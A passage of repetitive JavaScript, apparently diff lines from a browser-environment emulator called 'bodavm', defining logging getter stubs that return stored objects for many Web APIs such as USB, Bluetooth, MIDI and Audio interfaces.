->${arg}`); return arg } - bodavm.envFunc.window_VirtualKeyboard = function () { let arg = bodavm.memory.globalobj['VirtualKeyboard']; console.log(`window_VirtualKeyboard`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_USBOutTransferResult = function () { let arg = bodavm.memory.globalobj['USBOutTransferResult']; console.log(`window_USBOutTransferResult`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_USBIsochronousOutTransferResult = function () { let arg = bodavm.memory.globalobj['USBIsochronousOutTransferResult']; console.log(`window_USBIsochronousOutTransferResult`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_USBIsochronousOutTransferPacket = function () { let arg = bodavm.memory.globalobj['USBIsochronousOutTransferPacket']; console.log(`window_USBIsochronousOutTransferPacket`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_USBIsochronousInTransferResult = function () { let arg = bodavm.memory.globalobj['USBIsochronousInTransferResult']; console.log(`window_USBIsochronousInTransferResult`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_USBIsochronousInTransferPacket = function () { let arg = bodavm.memory.globalobj['USBIsochronousInTransferPacket']; console.log(`window_USBIsochronousInTransferPacket`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_USBInterface = function () { let arg = bodavm.memory.globalobj['USBInterface']; console.log(`window_USBInterface`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_USBInTransferResult = function () { let arg = bodavm.memory.globalobj['USBInTransferResult']; console.log(`window_USBInTransferResult`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_USBEndpoint = function () { let arg = bodavm.memory.globalobj['USBEndpoint']; console.log(`window_USBEndpoint`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_USBDevice = function () { let arg = bodavm.memory.globalobj['USBDevice']; console.log(`window_USBDevice`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_USBConnectionEvent = function () { let arg = bodavm.memory.globalobj['USBConnectionEvent']; console.log(`window_USBConnectionEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_USBConfiguration = function () { let arg = bodavm.memory.globalobj['USBConfiguration']; console.log(`window_USBConfiguration`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_USBAlternateInterface = function () { let arg = bodavm.memory.globalobj['USBAlternateInterface']; console.log(`window_USBAlternateInterface`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_USB = function () { let arg = bodavm.memory.globalobj['USB']; console.log(`window_USB`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SerialPort = function () { let arg = bodavm.memory.globalobj['SerialPort']; console.log(`window_SerialPort`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Serial = function () { let arg = bodavm.memory.globalobj['Serial']; console.log(`window_Serial`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ScreenDetails = function () { let arg = bodavm.memory.globalobj['ScreenDetails']; console.log(`window_ScreenDetails`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ScreenDetailed = function () { let arg = bodavm.memory.globalobj['ScreenDetailed']; console.log(`window_ScreenDetailed`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Scheduling = function () { let arg = bodavm.memory.globalobj['Scheduling']; console.log(`window_Scheduling`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Profiler = function () { let arg = bodavm.memory.globalobj['Profiler']; console.log(`window_Profiler`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PresentationRequest = function () { let arg = bodavm.memory.globalobj['PresentationRequest']; console.log(`window_PresentationRequest`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PresentationReceiver = function () { let arg = bodavm.memory.globalobj['PresentationReceiver']; console.log(`window_PresentationReceiver`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PresentationConnectionList = function () { let arg = bodavm.memory.globalobj['PresentationConnectionList']; console.log(`window_PresentationConnectionList`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PresentationConnectionCloseEvent = function () { let arg = bodavm.memory.globalobj['PresentationConnectionCloseEvent']; console.log(`window_PresentationConnectionCloseEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PresentationConnectionAvailableEvent = function () { let arg = bodavm.memory.globalobj['PresentationConnectionAvailableEvent']; console.log(`window_PresentationConnectionAvailableEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PresentationConnection = function () { let arg = bodavm.memory.globalobj['PresentationConnection']; console.log(`window_PresentationConnection`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PresentationAvailability = function () { let arg = bodavm.memory.globalobj['PresentationAvailability']; console.log(`window_PresentationAvailability`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Presentation = function () { let arg = bodavm.memory.globalobj['Presentation']; console.log(`window_Presentation`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PaymentMethodChangeEvent = function () { let arg = bodavm.memory.globalobj['PaymentMethodChangeEvent']; console.log(`window_PaymentMethodChangeEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PaymentResponse = function () { let arg = bodavm.memory.globalobj['PaymentResponse']; console.log(`window_PaymentResponse`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PaymentRequest = function () { let arg = bodavm.memory.globalobj['PaymentRequest']; console.log(`window_PaymentRequest`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PaymentAddress = function () { let arg = bodavm.memory.globalobj['PaymentAddress']; console.log(`window_PaymentAddress`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_OTPCredential = function () { let arg = bodavm.memory.globalobj['OTPCredential']; console.log(`window_OTPCredential`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MediaStreamTrackProcessor = function () { let arg = bodavm.memory.globalobj['MediaStreamTrackProcessor']; console.log(`window_MediaStreamTrackProcessor`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MediaStreamTrackGenerator = function () { let arg = bodavm.memory.globalobj['MediaStreamTrackGenerator']; console.log(`window_MediaStreamTrackGenerator`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_IdleDetector = function () { let arg = bodavm.memory.globalobj['IdleDetector']; console.log(`window_IdleDetector`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HIDInputReportEvent = function () { let arg = bodavm.memory.globalobj['HIDInputReportEvent']; console.log(`window_HIDInputReportEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HIDDevice = function () { let arg = bodavm.memory.globalobj['HIDDevice']; console.log(`window_HIDDevice`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HIDConnectionEvent = function () { let arg = bodavm.memory.globalobj['HIDConnectionEvent']; console.log(`window_HIDConnectionEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HID = function () { let arg = bodavm.memory.globalobj['HID']; console.log(`window_HID`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_GravitySensor = function () { let arg = bodavm.memory.globalobj['GravitySensor']; console.log(`window_GravitySensor`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_FragmentDirective = function () { let arg = bodavm.memory.globalobj['FragmentDirective']; console.log(`window_FragmentDirective`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_FileSystemWritableFileStream = function () { let arg = bodavm.memory.globalobj['FileSystemWritableFileStream']; console.log(`window_FileSystemWritableFileStream`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_FileSystemHandle = function () { let arg = bodavm.memory.globalobj['FileSystemHandle']; console.log(`window_FileSystemHandle`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_FileSystemFileHandle = function () { let arg = bodavm.memory.globalobj['FileSystemFileHandle']; console.log(`window_FileSystemFileHandle`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_FileSystemDirectoryHandle = function () { let arg = bodavm.memory.globalobj['FileSystemDirectoryHandle']; console.log(`window_FileSystemDirectoryHandle`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_EyeDropper = function () { let arg = bodavm.memory.globalobj['EyeDropper']; console.log(`window_EyeDropper`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_BluetoothRemoteGATTService = function () { let arg = bodavm.memory.globalobj['BluetoothRemoteGATTService']; console.log(`window_BluetoothRemoteGATTService`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_BluetoothRemoteGATTServer = function () { let arg = bodavm.memory.globalobj['BluetoothRemoteGATTServer']; console.log(`window_BluetoothRemoteGATTServer`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_BluetoothRemoteGATTDescriptor = function () { let arg = bodavm.memory.globalobj['BluetoothRemoteGATTDescriptor']; console.log(`window_BluetoothRemoteGATTDescriptor`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_BluetoothRemoteGATTCharacteristic = function () { let arg = bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic']; console.log(`window_BluetoothRemoteGATTCharacteristic`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_BluetoothDevice = function () { let arg = bodavm.memory.globalobj['BluetoothDevice']; console.log(`window_BluetoothDevice`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_BluetoothCharacteristicProperties = function () { let arg = bodavm.memory.globalobj['BluetoothCharacteristicProperties']; console.log(`window_BluetoothCharacteristicProperties`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Bluetooth = function () { let arg = bodavm.memory.globalobj['Bluetooth']; console.log(`window_Bluetooth`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PublicKeyCredential = function () { let arg = bodavm.memory.globalobj['PublicKeyCredential']; console.log(`window_PublicKeyCredential`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_AuthenticatorResponse = function () { let arg = bodavm.memory.globalobj['AuthenticatorResponse']; console.log(`window_AuthenticatorResponse`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_AuthenticatorAttestationResponse = function () { let arg = bodavm.memory.globalobj['AuthenticatorAttestationResponse']; console.log(`window_AuthenticatorAttestationResponse`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_AuthenticatorAssertionResponse = function () { let arg = bodavm.memory.globalobj['AuthenticatorAssertionResponse']; console.log(`window_AuthenticatorAssertionResponse`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_VideoEncoder = function () { let arg = bodavm.memory.globalobj['VideoEncoder']; console.log(`window_VideoEncoder`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_VideoDecoder = function () { let arg = bodavm.memory.globalobj['VideoDecoder']; console.log(`window_VideoDecoder`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ImageDecoder = function () { let arg = bodavm.memory.globalobj['ImageDecoder']; console.log(`window_ImageDecoder`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_AudioEncoder = function () { let arg = bodavm.memory.globalobj['AudioEncoder']; console.log(`window_AudioEncoder`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_AudioDecoder = function () { let arg = bodavm.memory.globalobj['AudioDecoder']; console.log(`window_AudioDecoder`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_VideoFrame = function () { let arg = bodavm.memory.globalobj['VideoFrame']; console.log(`window_VideoFrame`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_VideoColorSpace = function () { let arg = bodavm.memory.globalobj['VideoColorSpace']; console.log(`window_VideoColorSpace`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ImageTrackList = function () { let arg = bodavm.memory.globalobj['ImageTrackList']; console.log(`window_ImageTrackList`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ImageTrack = function () { let arg = bodavm.memory.globalobj['ImageTrack']; console.log(`window_ImageTrack`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_EncodedVideoChunk = function () { let arg = bodavm.memory.globalobj['EncodedVideoChunk']; console.log(`window_EncodedVideoChunk`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_EncodedAudioChunk = function () { let arg = bodavm.memory.globalobj['EncodedAudioChunk']; console.log(`window_EncodedAudioChunk`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_AudioData = function () { let arg = bodavm.memory.globalobj['AudioData']; console.log(`window_AudioData`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRWebGLBinding = function () { let arg = bodavm.memory.globalobj['XRWebGLBinding']; console.log(`window_XRWebGLBinding`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRLayer = function () { let arg = bodavm.memory.globalobj['XRLayer']; console.log(`window_XRLayer`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XRDOMOverlayState = function () { let arg = bodavm.memory.globalobj['XRDOMOverlayState']; console.log(`window_XRDOMOverlayState`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Worklet = function () { let arg = bodavm.memory.globalobj['Worklet']; console.log(`window_Worklet`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SubtleCrypto = function () { let arg = bodavm.memory.globalobj['SubtleCrypto']; console.log(`window_SubtleCrypto`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_StorageManager = function () { let arg = bodavm.memory.globalobj['StorageManager']; console.log(`window_StorageManager`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ServiceWorkerRegistration = function () { let arg = bodavm.memory.globalobj['ServiceWorkerRegistration']; console.log(`window_ServiceWorkerRegistration`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ServiceWorkerContainer = function () { let arg = bodavm.memory.globalobj['ServiceWorkerContainer']; console.log(`window_ServiceWorkerContainer`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ServiceWorker = function () { let arg = bodavm.memory.globalobj['ServiceWorker']; console.log(`window_ServiceWorker`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SensorErrorEvent = function () { let arg = bodavm.memory.globalobj['SensorErrorEvent']; console.log(`window_SensorErrorEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Sensor = function () { let arg = bodavm.memory.globalobj['Sensor']; console.log(`window_Sensor`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_RelativeOrientationSensor = function () { let arg = bodavm.memory.globalobj['RelativeOrientationSensor']; console.log(`window_RelativeOrientationSensor`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_RTCIceTransport = function () { let arg = bodavm.memory.globalobj['RTCIceTransport']; console.log(`window_RTCIceTransport`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PasswordCredential = function () { let arg = bodavm.memory.globalobj['PasswordCredential']; console.log(`window_PasswordCredential`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_OrientationSensor = function () { let arg = bodavm.memory.globalobj['OrientationSensor']; console.log(`window_OrientationSensor`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_NavigatorManagedData = function () { let arg = bodavm.memory.globalobj['NavigatorManagedData']; console.log(`window_NavigatorManagedData`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_NavigationPreloadManager = function () { let arg = bodavm.memory.globalobj['NavigationPreloadManager']; console.log(`window_NavigationPreloadManager`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MediaKeys = function () { let arg = bodavm.memory.globalobj['MediaKeys']; console.log(`window_MediaKeys`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MediaKeySystemAccess = function () { let arg = bodavm.memory.globalobj['MediaKeySystemAccess']; console.log(`window_MediaKeySystemAccess`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MediaKeyStatusMap = function () { let arg = bodavm.memory.globalobj['MediaKeyStatusMap']; console.log(`window_MediaKeyStatusMap`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MediaKeySession = function () { let arg = bodavm.memory.globalobj['MediaKeySession']; console.log(`window_MediaKeySession`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MediaKeyMessageEvent = function () { let arg = bodavm.memory.globalobj['MediaKeyMessageEvent']; console.log(`window_MediaKeyMessageEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MediaDevices = function () { let arg = bodavm.memory.globalobj['MediaDevices']; console.log(`window_MediaDevices`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MediaDeviceInfo = function () { let arg = bodavm.memory.globalobj['MediaDeviceInfo']; console.log(`window_MediaDeviceInfo`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MIDIPort = function () { let arg = bodavm.memory.globalobj['MIDIPort']; console.log(`window_MIDIPort`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MIDIOutputMap = function () { let arg = bodavm.memory.globalobj['MIDIOutputMap']; console.log(`window_MIDIOutputMap`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MIDIOutput = function () { let arg = bodavm.memory.globalobj['MIDIOutput']; console.log(`window_MIDIOutput`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MIDIMessageEvent = function () { let arg = bodavm.memory.globalobj['MIDIMessageEvent']; console.log(`window_MIDIMessageEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MIDIInputMap = function () { let arg = bodavm.memory.globalobj['MIDIInputMap']; console.log(`window_MIDIInputMap`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MIDIInput = function () { let arg = bodavm.memory.globalobj['MIDIInput']; console.log(`window_MIDIInput`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MIDIConnectionEvent = function () { let arg = bodavm.memory.globalobj['MIDIConnectionEvent']; console.log(`window_MIDIConnectionEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MIDIAccess = function () { let arg = bodavm.memory.globalobj['MIDIAccess']; console.log(`window_MIDIAccess`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_LockManager = function () { let arg = bodavm.memory.globalobj['LockManager']; console.log(`window_LockManager`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Lock = function () { let arg = bodavm.memory.globalobj['Lock']; console.log(`window_Lock`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_LinearAccelerationSensor = function () { let arg = bodavm.memory.globalobj['LinearAccelerationSensor']; console.log(`window_LinearAccelerationSensor`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_KeyboardLayoutMap = function () { let arg = bodavm.memory.globalobj['KeyboardLayoutMap']; console.log(`window_KeyboardLayoutMap`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Keyboard = function () { let arg = bodavm.memory.globalobj['Keyboard']; console.log(`window_Keyboard`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Gyroscope = function () { let arg = bodavm.memory.globalobj['Gyroscope']; console.log(`window_Gyroscope`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_FederatedCredential = function () { let arg = bodavm.memory.globalobj['FederatedCredential']; console.log(`window_FederatedCredential`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_DeviceOrientationEvent = function () { let arg = bodavm.memory.globalobj['DeviceOrientationEvent']; console.log(`window_DeviceOrientationEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_DeviceMotionEventRotationRate = function () { let arg = bodavm.memory.globalobj['DeviceMotionEventRotationRate']; console.log(`window_DeviceMotionEventRotationRate`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_DeviceMotionEventAcceleration = function () { let arg = bodavm.memory.globalobj['DeviceMotionEventAcceleration']; console.log(`window_DeviceMotionEventAcceleration`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_DeviceMotionEvent = function () { let arg = bodavm.memory.globalobj['DeviceMotionEvent']; console.log(`window_DeviceMotionEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CryptoKey = function () { let arg = bodavm.memory.globalobj['CryptoKey']; console.log(`window_CryptoKey`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CredentialsContainer = function () { let arg = bodavm.memory.globalobj['CredentialsContainer']; console.log(`window_CredentialsContainer`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Credential = function () { let arg = bodavm.memory.globalobj['Credential']; console.log(`window_Credential`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CookieStoreManager = function () { let arg = bodavm.memory.globalobj['CookieStoreManager']; console.log(`window_CookieStoreManager`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CookieChangeEvent = function () { let arg = bodavm.memory.globalobj['CookieChangeEvent']; console.log(`window_CookieChangeEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ClipboardItem = function () { let arg = bodavm.memory.globalobj['ClipboardItem']; console.log(`window_ClipboardItem`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Clipboard = function () { let arg = bodavm.memory.globalobj['Clipboard']; console.log(`window_Clipboard`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Cache = function () { let arg = bodavm.memory.globalobj['Cache']; console.log(`window_Cache`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_AudioWorklet = function () { let arg = bodavm.memory.globalobj['AudioWorklet']; console.log(`window_AudioWorklet`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Accelerometer = function () { let arg = bodavm.memory.globalobj['Accelerometer']; console.log(`window_Accelerometer`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_AbsoluteOrientationSensor = function () { let arg = bodavm.memory.globalobj['AbsoluteOrientationSensor']; console.log(`window_AbsoluteOrientationSensor`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_webkitRequestAnimationFrame = function () { let arg = bodavm.memory.globalobj['webkitRequestAnimationFrame']; console.log(`window_webkitRequestAnimationFrame`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_webkitCancelAnimationFrame = function () { let arg = bodavm.memory.globalobj['webkitCancelAnimationFrame']; console.log(`window_webkitCancelAnimationFrame`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_structuredClone = function () { let arg = bodavm.memory.globalobj['structuredClone']; console.log(`window_structuredClone`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_stop = function () { let arg = bodavm.memory.globalobj['stop']; console.log(`window_stop`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_scrollTo = function () { let arg = bodavm.memory.globalobj['scrollTo']; console.log(`window_scrollTo`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_scrollBy = function () { let arg = bodavm.memory.globalobj['scrollBy']; console.log(`window_scrollBy`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_scroll = function () { let arg = bodavm.memory.globalobj['scroll']; console.log(`window_scroll`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_resizeTo = function () { let arg = bodavm.memory.globalobj['resizeTo']; console.log(`window_resizeTo`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_resizeBy = function () { let arg = bodavm.memory.globalobj['resizeBy']; console.log(`window_resizeBy`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_requestIdleCallback = function () { let arg = bodavm.memory.globalobj['requestIdleCallback']; console.log(`window_requestIdleCallback`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_requestAnimationFrame = function () { let arg = bodavm.memory.globalobj['requestAnimationFrame']; console.log(`window_requestAnimationFrame`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_reportError = function () { let arg = bodavm.memory.globalobj['reportError']; console.log(`window_reportError`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_releaseEvents = function () { let arg = bodavm.memory.globalobj['releaseEvents']; console.log(`window_releaseEvents`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_queueMicrotask = function () { let arg = bodavm.memory.globalobj['queueMicrotask']; console.log(`window_queueMicrotask`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_prompt = function () { let arg = bodavm.memory.globalobj['prompt']; console.log(`window_prompt`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_print = function () { let arg = bodavm.memory.globalobj['print']; console.log(`window_print`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_postMessage = function () { let arg = bodavm.memory.globalobj['postMessage']; console.log(`window_postMessage`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_open = function () { let arg = bodavm.memory.globalobj['open']; console.log(`window_open`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_moveTo = function () { let arg = bodavm.memory.globalobj['moveTo']; console.log(`window_moveTo`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_moveBy = function () { let arg = bodavm.memory.globalobj['moveBy']; console.log(`window_moveBy`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_getSelection = function () { let arg = bodavm.memory.globalobj['getSelection']; console.log(`window_getSelection`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_getComputedStyle = function () { let arg = bodavm.memory.globalobj['getComputedStyle']; console.log(`window_getComputedStyle`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_focus = function () { let arg = bodavm.memory.globalobj['focus']; console.log(`window_focus`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_find = function () { let arg = bodavm.memory.globalobj['find']; console.log(`window_find`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_fetch = function () { let arg = bodavm.memory.globalobj['fetch']; console.log(`window_fetch`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_createImageBitmap = function () { let arg = bodavm.memory.globalobj['createImageBitmap']; console.log(`window_createImageBitmap`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_confirm = function () { let arg = bodavm.memory.globalobj['confirm']; console.log(`window_confirm`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_close = function () { let arg = bodavm.memory.globalobj['close']; console.log(`window_close`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_clearTimeout = function () { let arg = bodavm.memory.globalobj['clearTimeout']; console.log(`window_clearTimeout`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_clearInterval = function () { let arg = bodavm.memory.globalobj['clearInterval']; console.log(`window_clearInterval`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_captureEvents = function () { let arg = bodavm.memory.globalobj['captureEvents']; console.log(`window_captureEvents`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_cancelIdleCallback = function () { let arg = bodavm.memory.globalobj['cancelIdleCallback']; console.log(`window_cancelIdleCallback`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_cancelAnimationFrame = function () { let arg = bodavm.memory.globalobj['cancelAnimationFrame']; console.log(`window_cancelAnimationFrame`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_AbortController = function () { let arg = bodavm.memory.globalobj['AbortController']; console.log(`window_AbortController`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_AbortSignal = function () { let arg = bodavm.memory.globalobj['AbortSignal']; console.log(`window_AbortSignal`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_AbstractRange = function () { let arg = bodavm.memory.globalobj['AbstractRange']; console.log(`window_AbstractRange`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_AnalyserNode = function () { let arg = bodavm.memory.globalobj['AnalyserNode']; console.log(`window_AnalyserNode`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Animation = function () { let arg = bodavm.memory.globalobj['Animation']; console.log(`window_Animation`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_AnimationEffect = function () { let arg = bodavm.memory.globalobj['AnimationEffect']; console.log(`window_AnimationEffect`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_AnimationEvent = function () { let arg = bodavm.memory.globalobj['AnimationEvent']; console.log(`window_AnimationEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Attr = function () { let arg = bodavm.memory.globalobj['Attr']; console.log(`window_Attr`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_AudioBuffer = function () { let arg = bodavm.memory.globalobj['AudioBuffer']; console.log(`window_AudioBuffer`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_AudioBufferSourceNode = function () { let arg = bodavm.memory.globalobj['AudioBufferSourceNode']; console.log(`window_AudioBufferSourceNode`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_AudioContext = function () { let arg = bodavm.memory.globalobj['AudioContext']; console.log(`window_AudioContext`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_AudioDestinationNode = function () { let arg = bodavm.memory.globalobj['AudioDestinationNode']; console.log(`window_AudioDestinationNode`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_AudioListener = function () { let arg = bodavm.memory.globalobj['AudioListener']; console.log(`window_AudioListener`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_AudioNode = function () { let arg = bodavm.memory.globalobj['AudioNode']; console.log(`window_AudioNode`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_AudioParam = function () { let arg = bodavm.memory.globalobj['AudioParam']; console.log(`window_AudioParam`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_AudioParamMap = function () { let arg = bodavm.memory.globalobj['AudioParamMap']; console.log(`window_AudioParamMap`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_AudioProcessingEvent = function () { let arg = bodavm.memory.globalobj['AudioProcessingEvent']; console.log(`window_AudioProcessingEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_AudioScheduledSourceNode = function () { let arg = bodavm.memory.globalobj['AudioScheduledSourceNode']; console.log(`window_AudioScheduledSourceNode`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_AudioWorkletNode = function () { let arg = bodavm.memory.globalobj['AudioWorkletNode']; console.log(`window_AudioWorkletNode`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_BaseAudioContext = function () { let arg = bodavm.memory.globalobj['BaseAudioContext']; console.log(`window_BaseAudioContext`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_BatteryManager = function () { let arg = bodavm.memory.globalobj['BatteryManager']; console.log(`window_BatteryManager`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_BeforeInstallPromptEvent = function () { let arg = 